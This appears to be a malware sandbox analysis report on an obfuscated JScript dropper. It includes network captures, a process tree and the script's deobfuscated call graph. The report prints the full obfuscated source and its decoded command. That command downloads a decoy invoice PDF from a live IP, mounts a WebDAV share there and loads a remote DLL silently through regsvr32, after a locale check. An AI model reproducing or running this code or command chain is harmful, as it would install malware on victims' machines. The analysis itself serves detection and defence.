Jan 11, 2025 05:46:54.304372072 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 05:46:54.309078932 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6108	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:46:55.711335897 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:46:56.551558018 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:46:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js"
Imagebase:	0x7ff7601f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Imagebase:	0x7ff774f40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:46:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:46:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff774f40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:46:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff728e10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:46:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:46:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:46:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1556,i,2341799134305516262,1218484323056796191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rjvae() {	rjvae() ➔ undefined
1	kfxqw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qjpyuz = this[wbdpwsqrv + fvrfolha + gmcukc + oykmtkir + uoqwzdmxs + mqdooei + fsoas + nuhwebl] ( this[vbcteph + sltnmoxg + mvzwkrv + gmcukc + lodiryvm + wbdpwsqrv + nuhwebl][uifrcejvo + gmcukc + uoqwzdmxs + fvrfolha + nuhwebl + uoqwzdmxs + gephtet + lgoxeafd + djzcb + uoqwzdmxs + mvzwkrv + nuhwebl] ( vbcteph + sltnmoxg + mvzwkrv + gmcukc + lodiryvm + wbdpwsqrv + nuhwebl + nrqjyzcd + sltnmoxg + pczbwbyun + uoqwzdmxs + kfxhsj + kfxhsj ) [rrmthqk + uoqwzdmxs + fpgrjmdia + rrmthqk + uoqwzdmxs + fvrfolha + zajjpcv] ( uidbt + muzmc + vgsjt + fyuyyvz + tczugx + uifrcejvo + ljvbcjftj + rrmthqk + rrmthqk + vgsjt + vtguldgyb + heqmtujr + tczugx + ljvbcjftj + sltnmoxg + vgsjt + rrmthqk + wgrrxqi + uifrcejvo + xjolrjmgu + fsoas + nuhwebl + gmcukc + xjolrjmgu + kfxhsj + eszmu + vxqll + fvrfolha + fsoas + uoqwzdmxs + kfxhsj + wgrrxqi + mqdooei + fsoas + nuhwebl + uoqwzdmxs + gmcukc + fsoas + fvrfolha + nuhwebl + lodiryvm + xjolrjmgu + fsoas + fvrfolha + kfxhsj + wgrrxqi + hatneqrob + xjolrjmgu + mvzwkrv + fvrfolha + kfxhsj + uoqwzdmxs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zsdlx = 0 ; zsdlx < kfxqw[kfxhsj + uoqwzdmxs + fsoas + fpgrjmdia + nuhwebl + pczbwbyun] ; ++ zsdlx )
4	{
5	if ( qjpyuz == kfxqw[zsdlx] )
6	{
7	qjpyuz = true;
8	break ;
9	}
10	}
11	if ( qjpyuz !== true )
12	this[vbcteph + sltnmoxg + mvzwkrv + gmcukc + lodiryvm + wbdpwsqrv + nuhwebl][qkwovidew + codis + lodiryvm + nuhwebl] ( );
13	this[vbcteph + sltnmoxg + mvzwkrv + gmcukc + lodiryvm + wbdpwsqrv + nuhwebl][uifrcejvo + gmcukc + uoqwzdmxs + fvrfolha + nuhwebl + uoqwzdmxs + gephtet + lgoxeafd + djzcb + uoqwzdmxs + mvzwkrv + nuhwebl] ( vbcteph + sltnmoxg + mvzwkrv + gmcukc + lodiryvm + wbdpwsqrv + nuhwebl + nrqjyzcd + sltnmoxg + pczbwbyun + uoqwzdmxs + kfxhsj + kfxhsj ) [gmcukc + codis + fsoas] ( mvzwkrv + jiufyvxef + zajjpcv + eszmu + bndiqjt + mvzwkrv + eszmu + wbdpwsqrv + xjolrjmgu + qfiiz + uoqwzdmxs + gmcukc + oykmtkir + pczbwbyun + uoqwzdmxs + kfxhsj + kfxhsj + nrqjyzcd + uoqwzdmxs + sfnojhya + uoqwzdmxs + eszmu + kdntjmigs + uifrcejvo + xjolrjmgu + jiufyvxef + jiufyvxef + fvrfolha + fsoas + zajjpcv + eszmu + eolocvxjl + mqdooei + fsoas + levqb + xjolrjmgu + bfniyo + uoqwzdmxs + kdntjmigs + vbcteph + uoqwzdmxs + lgoxeafd + rrmthqk + uoqwzdmxs + ariuhe + codis + uoqwzdmxs + oykmtkir + nuhwebl + eszmu + kdntjmigs + gephtet + codis + nuhwebl + emarsq + lodiryvm + kfxhsj + uoqwzdmxs + eszmu + iluiwjwm + nuhwebl + uoqwzdmxs + jiufyvxef + wbdpwsqrv + iluiwjwm + wgrrxqi + lodiryvm + fsoas + levqb + xjolrjmgu + lodiryvm + mvzwkrv + uoqwzdmxs + nrqjyzcd + wbdpwsqrv + zajjpcv + htibw + eszmu + pczbwbyun + nuhwebl + nuhwebl + wbdpwsqrv + qtrmjfxna + bndiqjt + bndiqjt + jxbsdse + jjnml + mbltux + nrqjyzcd + jxbsdse + mpewzq + mbltux + nrqjyzcd + jxbsdse + nrqjyzcd + phcpm + dinoqsc + cmuxla + bndiqjt + lodiryvm + fsoas + levqb + xjolrjmgu + lodiryvm + mvzwkrv + uoqwzdmxs + nrqjyzcd + wbdpwsqrv + pczbwbyun + wbdpwsqrv + eolocvxjl + shvftkl + shvftkl + oykmtkir + nuhwebl + fvrfolha + gmcukc + nuhwebl + eszmu + iluiwjwm + nuhwebl + uoqwzdmxs + jiufyvxef + wbdpwsqrv + iluiwjwm + wgrrxqi + lodiryvm + fsoas + levqb + xjolrjmgu + lodiryvm + mvzwkrv + uoqwzdmxs + nrqjyzcd + wbdpwsqrv + zajjpcv + htibw + shvftkl + shvftkl + mvzwkrv + jiufyvxef + zajjpcv + eszmu + bndiqjt + mvzwkrv + eszmu + fsoas + uoqwzdmxs + nuhwebl + eszmu + codis + oykmtkir + uoqwzdmxs + eszmu + wgrrxqi + wgrrxqi + jxbsdse + jjnml + mbltux + nrqjyzcd + jxbsdse + mpewzq + mbltux + nrqjyzcd + jxbsdse + nrqjyzcd + phcpm + dinoqsc + cmuxla + iekbdx + dscgcpgcm + dscgcpgcm + dscgcpgcm + dscgcpgcm + wgrrxqi + zajjpcv + fvrfolha + levqb + qfiiz + qfiiz + qfiiz + gmcukc + xjolrjmgu + xjolrjmgu + nuhwebl + wgrrxqi + shvftkl + shvftkl + mvzwkrv + jiufyvxef + zajjpcv + eszmu + bndiqjt + mvzwkrv + eszmu + gmcukc + uoqwzdmxs + fpgrjmdia + oykmtkir + levqb + gmcukc + mbltux + phcpm + eszmu + bndiqjt + oykmtkir + eszmu + wgrrxqi + wgrrxqi + jxbsdse + jjnml + mbltux + nrqjyzcd + jxbsdse + mpewzq + mbltux + nrqjyzcd + jxbsdse + nrqjyzcd + phcpm + dinoqsc + cmuxla + iekbdx + dscgcpgcm + dscgcpgcm + dscgcpgcm + dscgcpgcm + wgrrxqi + zajjpcv + fvrfolha + levqb + qfiiz + qfiiz + qfiiz + gmcukc + xjolrjmgu + xjolrjmgu + nuhwebl + wgrrxqi + jxbsdse + gjvitjh + dinoqsc + vnvcotgah + jxbsdse + phcpm + jxbsdse + gjvitjh + vnvcotgah + gjvitjh + jxbsdse + gjvitjh + gjvitjh + phcpm + jjnml + nrqjyzcd + zajjpcv + kfxhsj + kfxhsj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll",0,false) ➔ 0
14	}
15	nuhwebl = "R";
16	nuhwebl = "x";
17	nuhwebl = "O";
18	nuhwebl = "Y";
19	nuhwebl = "T";
20	nuhwebl = "e";
21	nuhwebl = "m";
22	nuhwebl = "g";
23	nuhwebl = "M";
24	nuhwebl = "o";
25	nuhwebl = "c";
26	nuhwebl = "T";
27	nuhwebl = "S";
28	nuhwebl = "g";
29	nuhwebl = "q";
30	nuhwebl = "M";
31	nuhwebl = "U";
32	nuhwebl = "B";
33	nuhwebl = "i";
34	nuhwebl = "n";
35	nuhwebl = "s";
36	nuhwebl = "a";
37	nuhwebl = "i";
38	nuhwebl = "j";
39	nuhwebl = "R";
40	nuhwebl = "h";
41	nuhwebl = "U";
42	nuhwebl = "G";
43	nuhwebl = "T";
44	nuhwebl = "L";
45	nuhwebl = "n";
46	nuhwebl = "V";
47	nuhwebl = "t";
48	vbcteph = "U";
49	vbcteph = "q";
50	vbcteph = "b";
51	vbcteph = "I";
52	vbcteph = "u";
53	vbcteph = "Y";
54	vbcteph = "Z";
55	vbcteph = "i";
56	vbcteph = "N";
57	vbcteph = "O";
58	vbcteph = "G";
59	vbcteph = "l";
60	vbcteph = "m";
61	vbcteph = "C";
62	vbcteph = "F";
63	vbcteph = "W";
64	emarsq = "b";
65	emarsq = "D";
66	emarsq = "m";
67	emarsq = "c";
68	emarsq = "R";
69	emarsq = "f";
70	emarsq = "X";
71	emarsq = "v";
72	emarsq = "w";
73	emarsq = "X";
74	emarsq = "j";
75	emarsq = "O";
76	emarsq = "t";
77	emarsq = "y";
78	emarsq = "r";
79	emarsq = "Q";
80	emarsq = "X";
81	emarsq = "i";
82	emarsq = "V";
83	emarsq = "n";
84	emarsq = "L";
85	emarsq = "X";
86	emarsq = "G";
87	emarsq = "F";
88	zajjpcv = "H";
89	zajjpcv = "P";
90	zajjpcv = "U";
91	zajjpcv = "N";
92	zajjpcv = "Y";
93	zajjpcv = "e";
94	zajjpcv = "o";
95	zajjpcv = "Y";
96	zajjpcv = "V";
97	zajjpcv = "d";
98	zajjpcv = "t";
99	zajjpcv = "s";
100	zajjpcv = "K";
101	zajjpcv = "h";
102	zajjpcv = "z";
103	zajjpcv = "c";
104	zajjpcv = "E";
105	zajjpcv = "B";
106	zajjpcv = "V";
107	zajjpcv = "i";
108	zajjpcv = "O";
109	zajjpcv = "d";
110	zajjpcv = "O";
111	zajjpcv = "n";
112	zajjpcv = "c";
113	zajjpcv = "Z";
114	zajjpcv = "I";
115	zajjpcv = "n";
116	zajjpcv = "Q";
117	zajjpcv = "v";
118	zajjpcv = "Y";
119	zajjpcv = "s";
120	zajjpcv = "u";
121	zajjpcv = "I";
122	zajjpcv = "x";
123	zajjpcv = "H";
124	zajjpcv = "m";
125	zajjpcv = "G";
126	zajjpcv = "e";
127	zajjpcv = "O";
128	zajjpcv = "Z";
129	zajjpcv = "Q";
130	zajjpcv = "o";
131	zajjpcv = "v";
132	zajjpcv = "d";
133	codis = "j";
134	codis = "N";
135	codis = "s";
136	codis = "u";
137	codis = "u";
138	codis = "s";
139	codis = "G";
140	codis = "c";
141	codis = "D";
142	codis = "f";
143	codis = "i";
144	codis = "Z";
145	codis = "M";
146	codis = "U";
147	codis = "O";
148	codis = "f";
149	codis = "g";
150	codis = "L";
151	codis = "L";
152	codis = "F";
153	codis = "N";
154	codis = "v";
155	codis = "J";
156	codis = "y";
157	codis = "R";
158	codis = "u";
159	qtrmjfxna = "i";
160	qtrmjfxna = "Q";
161	qtrmjfxna = "c";
162	qtrmjfxna = "s";
163	qtrmjfxna = "l";
164	qtrmjfxna = "H";
165	qtrmjfxna = "H";
166	qtrmjfxna = "U";
167	qtrmjfxna = "w";
168	qtrmjfxna = "w";
169	qtrmjfxna = "d";
170	qtrmjfxna = "D";
171	qtrmjfxna = "l";
172	qtrmjfxna = "U";
173	qtrmjfxna = "R";
174	qtrmjfxna = "c";
175	qtrmjfxna = "D";
176	qtrmjfxna = "h";
177	qtrmjfxna = "H";
178	qtrmjfxna = "s";
179	qtrmjfxna = "R";
180	qtrmjfxna = "b";
181	qtrmjfxna = "c";
182	qtrmjfxna = "F";
183	qtrmjfxna = "j";
184	qtrmjfxna = "i";
185	qtrmjfxna = "g";
186	qtrmjfxna = "Q";
187	qtrmjfxna = "p";
188	qtrmjfxna = "y";
189	qtrmjfxna = "D";
190	qtrmjfxna = "Z";
191	qtrmjfxna = "p";
192	qtrmjfxna = "m";
193	qtrmjfxna = "Q";
194	qtrmjfxna = "j";
195	qtrmjfxna = "S";
196	qtrmjfxna = "m";
197	qtrmjfxna = "X";
198	qtrmjfxna = "s";
199	qtrmjfxna = "c";
200	qtrmjfxna = "y";
201	qtrmjfxna = "z";
202	qtrmjfxna = "x";
203	qtrmjfxna = ":";
204	fpgrjmdia = "Q";
205	fpgrjmdia = "v";
206	fpgrjmdia = "i";
207	fpgrjmdia = "h";
208	fpgrjmdia = "a";
209	fpgrjmdia = "P";
210	fpgrjmdia = "M";
211	fpgrjmdia = "U";
212	fpgrjmdia = "j";
213	fpgrjmdia = "A";
214	fpgrjmdia = "v";
215	fpgrjmdia = "X";
216	fpgrjmdia = "D";
217	fpgrjmdia = "M";
218	fpgrjmdia = "E";
219	fpgrjmdia = "x";
220	fpgrjmdia = "f";
221	fpgrjmdia = "Z";
222	fpgrjmdia = "g";
223	fpgrjmdia = "O";
224	fpgrjmdia = "Q";
225	fpgrjmdia = "B";
226	fpgrjmdia = "K";
227	fpgrjmdia = "q";
228	fpgrjmdia = "m";
229	fpgrjmdia = "y";
230	fpgrjmdia = "G";
231	fpgrjmdia = "q";
232	fpgrjmdia = "y";
233	fpgrjmdia = "V";
234	fpgrjmdia = "g";
235	shvftkl = "P";
236	shvftkl = "u";
237	shvftkl = "r";
238	shvftkl = "A";
239	shvftkl = "c";
240	shvftkl = "e";
241	shvftkl = "x";
242	shvftkl = "X";
243	shvftkl = "&";
244	ariuhe = "S";
245	ariuhe = "P";
246	ariuhe = "s";
247	ariuhe = "q";
248	ariuhe = "b";
249	ariuhe = "O";
250	ariuhe = "t";
251	ariuhe = "a";
252	ariuhe = "q";
253	qfiiz = "j";
254	qfiiz = "w";
255	qkwovidew = "B";
256	qkwovidew = "u";
257	qkwovidew = "u";
258	qkwovidew = "h";
259	qkwovidew = "F";
260	qkwovidew = "G";
261	qkwovidew = "S";
262	qkwovidew = "E";
263	qkwovidew = "Q";
264	nrqjyzcd = "R";
265	nrqjyzcd = "K";
266	nrqjyzcd = "M";
267	nrqjyzcd = "s";
268	nrqjyzcd = "N";
269	nrqjyzcd = "y";
270	nrqjyzcd = "V";
271	nrqjyzcd = "F";
272	nrqjyzcd = "f";
273	nrqjyzcd = "L";
274	nrqjyzcd = "B";
275	nrqjyzcd = "C";
276	nrqjyzcd = "v";
277	nrqjyzcd = "q";
278	nrqjyzcd = "r";
279	nrqjyzcd = "G";
280	nrqjyzcd = "S";
281	nrqjyzcd = "V";
282	nrqjyzcd = "G";
283	nrqjyzcd = "g";
284	nrqjyzcd = "e";
285	nrqjyzcd = "S";
286	nrqjyzcd = "e";
287	nrqjyzcd = "v";
288	nrqjyzcd = "L";
289	nrqjyzcd = "X";
290	nrqjyzcd = "q";
291	nrqjyzcd = "p";
292	nrqjyzcd = "d";
293	nrqjyzcd = "t";
294	nrqjyzcd = "C";
295	nrqjyzcd = ".";
296	bfniyo = "Q";
297	bfniyo = "L";
298	bfniyo = "w";
299	bfniyo = "J";
300	bfniyo = "i";
301	bfniyo = "T";
302	bfniyo = "k";
303	bfniyo = "r";
304	bfniyo = "u";
305	bfniyo = "I";
306	bfniyo = "k";
307	xjolrjmgu = "d";
308	xjolrjmgu = "q";
309	xjolrjmgu = "R";
310	xjolrjmgu = "L";
311	xjolrjmgu = "B";
312	xjolrjmgu = "e";
313	xjolrjmgu = "a";
314	xjolrjmgu = "T";
315	xjolrjmgu = "e";
316	xjolrjmgu = "X";
317	xjolrjmgu = "d";
318	xjolrjmgu = "T";
319	xjolrjmgu = "l";
320	xjolrjmgu = "G";
321	xjolrjmgu = "U";
322	xjolrjmgu = "T";
323	xjolrjmgu = "C";
324	xjolrjmgu = "L";
325	xjolrjmgu = "Z";
326	xjolrjmgu = "u";
327	xjolrjmgu = "S";
328	xjolrjmgu = "H";
329	xjolrjmgu = "a";
330	xjolrjmgu = "R";
331	xjolrjmgu = "P";
332	xjolrjmgu = "D";
333	xjolrjmgu = "M";
334	xjolrjmgu = "r";
335	xjolrjmgu = "Q";
336	xjolrjmgu = "t";
337	xjolrjmgu = "x";
338	xjolrjmgu = "z";
339	xjolrjmgu = "Z";
340	xjolrjmgu = "P";
341	xjolrjmgu = "R";
342	xjolrjmgu = "Z";
343	xjolrjmgu = "u";
344	xjolrjmgu = "o";
345	mbltux = "B";
346	mbltux = "q";
347	mbltux = "o";
348	mbltux = "Q";
349	mbltux = "t";
350	mbltux = "b";
351	mbltux = "D";
352	mbltux = "O";
353	mbltux = "c";
354	mbltux = "O";
355	mbltux = "X";
356	mbltux = "C";
357	mbltux = "a";
358	mbltux = "m";
359	mbltux = "d";
360	mbltux = "A";
361	mbltux = "e";
362	mbltux = "j";
363	mbltux = "H";
364	mbltux = "p";
365	mbltux = "q";
366	mbltux = "Y";
367	mbltux = "S";
368	mbltux = "B";
369	mbltux = "3";
370	eszmu = "x";
371	eszmu = "b";
372	eszmu = "X";
373	eszmu = "F";
374	eszmu = "y";
375	eszmu = " ";
376	cmuxla = "n";
377	cmuxla = "v";
378	cmuxla = "J";
379	cmuxla = "F";
380	cmuxla = "k";
381	cmuxla = "L";
382	cmuxla = "Q";
383	cmuxla = "p";
384	cmuxla = "T";
385	cmuxla = "N";
386	cmuxla = "v";
387	cmuxla = "h";
388	cmuxla = "P";
389	cmuxla = "c";
390	cmuxla = "a";
391	cmuxla = "5";
392	dinoqsc = "m";
393	dinoqsc = "T";
394	dinoqsc = "x";
395	dinoqsc = "s";
396	dinoqsc = "g";
397	dinoqsc = "v";
398	dinoqsc = "X";
399	dinoqsc = "J";
400	dinoqsc = "H";
401	dinoqsc = "F";
402	dinoqsc = "X";
403	dinoqsc = "c";
404	dinoqsc = "H";
405	dinoqsc = "C";
406	dinoqsc = "D";
407	dinoqsc = "U";
408	dinoqsc = "B";
409	dinoqsc = "M";
410	dinoqsc = "h";
411	dinoqsc = "V";
412	dinoqsc = "g";
413	dinoqsc = "i";
414	dinoqsc = "t";
415	dinoqsc = "L";
416	dinoqsc = "P";
417	dinoqsc = "n";
418	dinoqsc = "0";
419	bndiqjt = "k";
420	bndiqjt = "m";
421	bndiqjt = "a";
422	bndiqjt = "P";
423	bndiqjt = "K";
424	bndiqjt = "t";
425	bndiqjt = "S";
426	bndiqjt = "g";
427	bndiqjt = "e";
428	bndiqjt = "q";
429	bndiqjt = "Q";
430	bndiqjt = "G";
431	bndiqjt = "a";
432	bndiqjt = "Y";
433	bndiqjt = "d";
434	bndiqjt = "W";
435	bndiqjt = "J";
436	bndiqjt = "F";
437	bndiqjt = "e";
438	bndiqjt = "A";
439	bndiqjt = "A";
440	bndiqjt = "y";
441	bndiqjt = "/";
442	tczugx = "t";
443	tczugx = "i";
444	tczugx = "I";
445	tczugx = "d";
446	tczugx = "q";
447	tczugx = "y";
448	tczugx = "a";
449	tczugx = "p";
450	tczugx = "z";
451	tczugx = "S";
452	tczugx = "a";
453	tczugx = "r";
454	tczugx = "D";
455	tczugx = "_";
456	wgrrxqi = "C";
457	wgrrxqi = "k";
458	wgrrxqi = "E";
459	wgrrxqi = "O";
460	wgrrxqi = "I";
461	wgrrxqi = "m";
462	wgrrxqi = "E";
463	wgrrxqi = "E";
464	wgrrxqi = "N";
465	wgrrxqi = "N";
466	wgrrxqi = "v";
467	wgrrxqi = "A";
468	wgrrxqi = "i";
469	wgrrxqi = "k";
470	wgrrxqi = "r";
471	wgrrxqi = "A";
472	wgrrxqi = "R";
473	wgrrxqi = "W";
474	wgrrxqi = "g";
475	wgrrxqi = "W";
476	wgrrxqi = "S";
477	wgrrxqi = "o";
478	wgrrxqi = "u";
479	wgrrxqi = "W";
480	wgrrxqi = "b";
481	wgrrxqi = "z";
482	wgrrxqi = "s";
483	wgrrxqi = "y";
484	wgrrxqi = "R";
485	wgrrxqi = "H";
486	wgrrxqi = "u";
487	wgrrxqi = "r";
488	wgrrxqi = "q";
489	wgrrxqi = "\\";
490	muzmc = "i";
491	muzmc = "W";
492	muzmc = "E";
493	muzmc = "M";
494	muzmc = "n";
495	muzmc = "s";
496	muzmc = "K";
497	heqmtujr = "N";
498	heqmtujr = "L";
499	heqmtujr = "A";
500	heqmtujr = "y";
501	heqmtujr = "X";
502	heqmtujr = "Y";
503	heqmtujr = "V";
504	heqmtujr = "r";
505	heqmtujr = "l";
506	heqmtujr = "R";
507	heqmtujr = "t";
508	heqmtujr = "Q";
509	heqmtujr = "O";
510	heqmtujr = "s";
511	heqmtujr = "V";
512	heqmtujr = "J";
513	heqmtujr = "q";
514	heqmtujr = "s";
515	heqmtujr = "o";
516	heqmtujr = "O";
517	heqmtujr = "J";
518	heqmtujr = "u";
519	heqmtujr = "e";
520	heqmtujr = "X";
521	heqmtujr = "d";
522	heqmtujr = "Z";
523	heqmtujr = "Q";
524	heqmtujr = "j";
525	heqmtujr = "F";
526	heqmtujr = "n";
527	heqmtujr = "D";
528	heqmtujr = "c";
529	heqmtujr = "T";
530	iluiwjwm = "Q";
531	iluiwjwm = "x";
532	iluiwjwm = "i";
533	iluiwjwm = "O";
534	iluiwjwm = "l";
535	iluiwjwm = "W";
536	iluiwjwm = "R";
537	iluiwjwm = "R";
538	iluiwjwm = "D";
539	iluiwjwm = "k";
540	iluiwjwm = "t";
541	iluiwjwm = "G";
542	iluiwjwm = "T";
543	iluiwjwm = "W";
544	iluiwjwm = "%";
545	fyuyyvz = "d";
546	fyuyyvz = "M";
547	fyuyyvz = "P";
548	fyuyyvz = "d";
549	fyuyyvz = "h";
550	fyuyyvz = "Q";
551	fyuyyvz = "U";
552	fyuyyvz = "i";
553	fyuyyvz = "O";
554	fyuyyvz = "t";
555	fyuyyvz = "O";
556	fyuyyvz = "v";
557	fyuyyvz = "a";
558	fyuyyvz = "C";
559	fyuyyvz = "x";
560	fyuyyvz = "Q";
561	fyuyyvz = "g";
562	fyuyyvz = "L";
563	fyuyyvz = "K";
564	fyuyyvz = "t";
565	fyuyyvz = "x";
566	fyuyyvz = "L";
567	fyuyyvz = "y";
568	fyuyyvz = "X";
569	fyuyyvz = "Z";
570	fyuyyvz = "K";
571	fyuyyvz = "h";
572	fyuyyvz = "X";
573	fyuyyvz = "w";
574	fyuyyvz = "G";
575	fyuyyvz = "K";
576	fyuyyvz = "U";
577	fyuyyvz = "R";
578	fyuyyvz = "J";
579	fyuyyvz = "s";
580	fyuyyvz = "A";
581	fyuyyvz = "Y";
582	uidbt = "S";
583	uidbt = "Y";
584	uidbt = "z";
585	uidbt = "S";
586	uidbt = "R";
587	uidbt = "J";
588	uidbt = "O";
